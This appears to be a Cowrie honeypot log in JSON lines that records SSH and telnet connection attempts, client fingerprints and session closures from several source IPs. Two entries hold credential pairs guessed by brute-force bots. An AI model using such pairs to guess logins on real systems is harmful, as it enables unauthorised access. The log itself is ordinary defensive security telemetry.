{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:43.892888Z","src_ip":"114.35.59.237","session":"889feb8c3d7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@2012","message":"login attempt [root/admin@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:44.762533Z","src_ip":"114.35.59.237","session":"889feb8c3d7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.85393929481506,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:45.915795Z","src_ip":"161.132.53.68","session":"20a3babcc132","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:45.974508Z","src_ip":"114.35.59.237","session":"889feb8c3d7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.185180187225342,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:46.811395Z","src_ip":"161.132.53.68","session":"5ab927b875ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":41956,"dst_ip":"159.203.135.109","dst_port":23,"session":"06414ce894bf","protocol":"telnet","message":"New connection: 161.132.53.68:41956 (159.203.135.109:23) [session: 06414ce894bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:46.911518Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":51894,"dst_ip":"159.203.135.109","dst_port":23,"session":"a203067d962c","protocol":"telnet","message":"New connection: 192.119.108.58:51894 (159.203.135.109:23) [session: a203067d962c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:46.995759Z"}
{"eventid":"cowrie.session.closed","duration":32.70549941062927,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:47.015945Z","src_ip":"161.132.53.68","session":"e746f8335dba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.21882510185242,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:47.037850Z","src_ip":"161.132.53.68","session":"e8f16f9c4a2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84774136543274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:47.188459Z","src_ip":"192.119.108.58","session":"23b64aef53bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44387912750244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:47.192640Z","src_ip":"192.119.108.58","session":"cad974ee0e99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":41968,"dst_ip":"159.203.135.109","dst_port":23,"session":"cba02fb48cf3","protocol":"telnet","message":"New connection: 161.132.53.68:41968 (159.203.135.109:23) [session: cba02fb48cf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:47.333107Z"}
{"eventid":"cowrie.session.closed","duration":31.282299518585205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:47.545825Z","src_ip":"192.119.108.58","session":"621239b2f7a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":52244,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a2ef4ca13eb","protocol":"telnet","message":"New connection: 192.119.108.58:52244 (159.203.135.109:23) [session: 2a2ef4ca13eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:47.702059Z"}
{"eventid":"cowrie.session.closed","duration":30.650299549102783,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:48.139950Z","src_ip":"161.132.53.68","session":"15bf2dd365af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67775583267212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:50.130455Z","src_ip":"192.119.108.58","session":"6e6f83e20ef0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":41972,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b8b0e99ade2","protocol":"telnet","message":"New connection: 161.132.53.68:41972 (159.203.135.109:23) [session: 3b8b0e99ade2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:50.185546Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":41980,"dst_ip":"159.203.135.109","dst_port":23,"session":"eae5c43cb524","protocol":"telnet","message":"New connection: 161.132.53.68:41980 (159.203.135.109:23) [session: eae5c43cb524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:51.180541Z"}
{"eventid":"cowrie.session.closed","duration":30.531471490859985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:51.429200Z","src_ip":"192.119.108.58","session":"24ed2cacb196","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":41986,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f06d2621160","protocol":"telnet","message":"New connection: 161.132.53.68:41986 (159.203.135.109:23) [session: 7f06d2621160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:54.445654Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":42002,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f99cac7acae","protocol":"telnet","message":"New connection: 161.132.53.68:42002 (159.203.135.109:23) [session: 3f99cac7acae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:55.879061Z"}
{"eventid":"cowrie.session.closed","duration":30.464545488357544,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:56.298146Z","src_ip":"192.119.108.58","session":"1289977cc7f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.48062491416931,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:56.448826Z","src_ip":"161.132.53.68","session":"72e7eb5df7a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.983311653137207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:57.054586Z","src_ip":"192.119.108.58","session":"9bfbe7d4c9ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62951683998108,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:57.072506Z","src_ip":"192.119.108.58","session":"35a0a76ae001","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.422759771347046,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:57.282103Z","src_ip":"192.119.108.58","session":"baec76d874c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.775343418121338,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:57.591361Z","src_ip":"161.132.53.68","session":"84d2290d7807","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":49134,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7ab38337f07","protocol":"ssh","message":"New connection: 124.18.182.99:49134 (10.17.0.5:22) [session: e7ab38337f07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:59.309720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:59.314388Z","src_ip":"124.18.182.99","session":"e7ab38337f07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:59.482871Z","src_ip":"124.18.182.99","session":"e7ab38337f07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.033000230789185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:59.628537Z","src_ip":"192.119.108.58","session":"edcb7f217b4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.042386293411255,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:59.634044Z","src_ip":"192.119.108.58","session":"d8191fa9387c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36527681350708,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:59.643233Z","src_ip":"161.132.53.68","session":"1939d2f1e7d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.001375436782837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:00.132773Z","src_ip":"192.119.108.58","session":"d084474e5dd5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"QWERTY","message":"login attempt [ubuntu/QWERTY] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:00.186305Z","src_ip":"124.18.182.99","session":"e7ab38337f07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.91139006614685,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:00.326314Z","src_ip":"161.132.53.68","session":"2d19ad608952","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.168264627456665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:00.773102Z","src_ip":"161.132.53.68","session":"5d1112e9c706","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.498860359191895,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:01.041445Z","src_ip":"192.119.108.58","session":"640f8d201cbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:01.364404Z","src_ip":"124.18.182.99","session":"e7ab38337f07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.43815326690674,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:01.860751Z","src_ip":"161.132.53.68","session":"ee0ee6e038e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.772802352905273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:02.440101Z","src_ip":"192.119.108.58","session":"6e0b85b73862","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":59524,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdcaaff7b410","protocol":"telnet","message":"New connection: 192.119.108.58:59524 (159.203.135.109:23) [session: cdcaaff7b410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:03.909096Z"}
{"eventid":"cowrie.session.closed","duration":32.42227125167847,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:05.719822Z","src_ip":"161.132.53.68","session":"781f43e4f793","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":42996,"dst_ip":"159.203.135.109","dst_port":23,"session":"76a352f4e21e","protocol":"telnet","message":"New connection: 161.132.53.68:42996 (159.203.135.109:23) [session: 76a352f4e21e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:08.077863Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43000,"dst_ip":"159.203.135.109","dst_port":23,"session":"19d2416653b7","protocol":"telnet","message":"New connection: 161.132.53.68:43000 (159.203.135.109:23) [session: 19d2416653b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:08.291519Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43016,"dst_ip":"159.203.135.109","dst_port":23,"session":"311faf8de3d3","protocol":"telnet","message":"New connection: 161.132.53.68:43016 (159.203.135.109:23) [session: 311faf8de3d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:09.315413Z"}
{"eventid":"cowrie.session.closed","duration":32.753682374954224,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:10.395088Z","src_ip":"161.132.53.68","session":"8ecc7ed96a67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43028,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0881310c257","protocol":"telnet","message":"New connection: 161.132.53.68:43028 (159.203.135.109:23) [session: a0881310c257]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:10.497538Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":33110,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7d73382c4fd","protocol":"telnet","message":"New connection: 192.119.108.58:33110 (159.203.135.109:23) [session: e7d73382c4fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:10.943876Z"}
{"eventid":"cowrie.session.closed","duration":30.500799894332886,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:11.387200Z","src_ip":"161.132.53.68","session":"65463bdef0d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.44904065132141,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:11.473090Z","src_ip":"192.119.108.58","session":"d3112509955a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43034,"dst_ip":"159.203.135.109","dst_port":23,"session":"7de1b51ae39b","protocol":"telnet","message":"New connection: 161.132.53.68:43034 (159.203.135.109:23) [session: 7de1b51ae39b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:11.737593Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43050,"dst_ip":"159.203.135.109","dst_port":23,"session":"87484cee0b25","protocol":"telnet","message":"New connection: 161.132.53.68:43050 (159.203.135.109:23) [session: 87484cee0b25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:13.955962Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43060,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd1b9a1a80e5","protocol":"telnet","message":"New connection: 161.132.53.68:43060 (159.203.135.109:23) [session: fd1b9a1a80e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:15.152696Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":37126,"dst_ip":"159.203.135.109","dst_port":23,"session":"7155f3116274","protocol":"telnet","message":"New connection: 192.119.108.58:37126 (159.203.135.109:23) [session: 7155f3116274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:15.397267Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":35776,"dst_ip":"159.203.135.109","dst_port":23,"session":"20972ebbb01e","protocol":"telnet","message":"New connection: 192.119.108.58:35776 (159.203.135.109:23) [session: 20972ebbb01e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:15.931554Z"}
{"eventid":"cowrie.session.closed","duration":30.34676718711853,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:17.258161Z","src_ip":"161.132.53.68","session":"06414ce894bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":53056,"dst_ip":"159.203.135.109","dst_port":23,"session":"794ebd19a59a","protocol":"telnet","message":"New connection: 161.132.53.68:53056 (159.203.135.109:23) [session: 794ebd19a59a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:17.373825Z"}
{"eventid":"cowrie.session.closed","duration":30.416224241256714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:18.118166Z","src_ip":"192.119.108.58","session":"2a2ef4ca13eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.414167165756226,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:18.409743Z","src_ip":"192.119.108.58","session":"a203067d962c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.713753700256348,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:19.046764Z","src_ip":"161.132.53.68","session":"cba02fb48cf3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":38990,"dst_ip":"159.203.135.109","dst_port":23,"session":"f69640261f85","protocol":"telnet","message":"New connection: 192.119.108.58:38990 (159.203.135.109:23) [session: f69640261f85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:19.285016Z"}
{"eventid":"cowrie.session.closed","duration":31.87865662574768,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:22.064080Z","src_ip":"161.132.53.68","session":"3b8b0e99ade2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.372830390930176,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:22.553184Z","src_ip":"161.132.53.68","session":"eae5c43cb524","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":53060,"dst_ip":"159.203.135.109","dst_port":23,"session":"e911e4f9127f","protocol":"telnet","message":"New connection: 161.132.53.68:53060 (159.203.135.109:23) [session: e911e4f9127f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:23.910136Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":53076,"dst_ip":"159.203.135.109","dst_port":23,"session":"b68a59a74b5b","protocol":"telnet","message":"New connection: 161.132.53.68:53076 (159.203.135.109:23) [session: b68a59a74b5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:24.242388Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":41082,"dst_ip":"159.203.135.109","dst_port":23,"session":"e421e1b17f84","protocol":"telnet","message":"New connection: 192.119.108.58:41082 (159.203.135.109:23) [session: e421e1b17f84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:24.384698Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":53082,"dst_ip":"159.203.135.109","dst_port":23,"session":"250bd3428597","protocol":"telnet","message":"New connection: 161.132.53.68:53082 (159.203.135.109:23) [session: 250bd3428597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:25.178502Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":53094,"dst_ip":"159.203.135.109","dst_port":23,"session":"25df38390902","protocol":"telnet","message":"New connection: 161.132.53.68:53094 (159.203.135.109:23) [session: 25df38390902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:25.515367Z"}
{"eventid":"cowrie.session.closed","duration":31.158771514892578,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:25.604316Z","src_ip":"161.132.53.68","session":"7f06d2621160","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"220.119.37.141","src_port":34380,"dst_ip":"10.17.0.5","dst_port":22,"session":"8587ee42b38e","protocol":"ssh","message":"New connection: 220.119.37.141:34380 (10.17.0.5:22) [session: 8587ee42b38e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:25.610995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:25.616614Z","src_ip":"220.119.37.141","session":"8587ee42b38e","protocol":"ssh"}
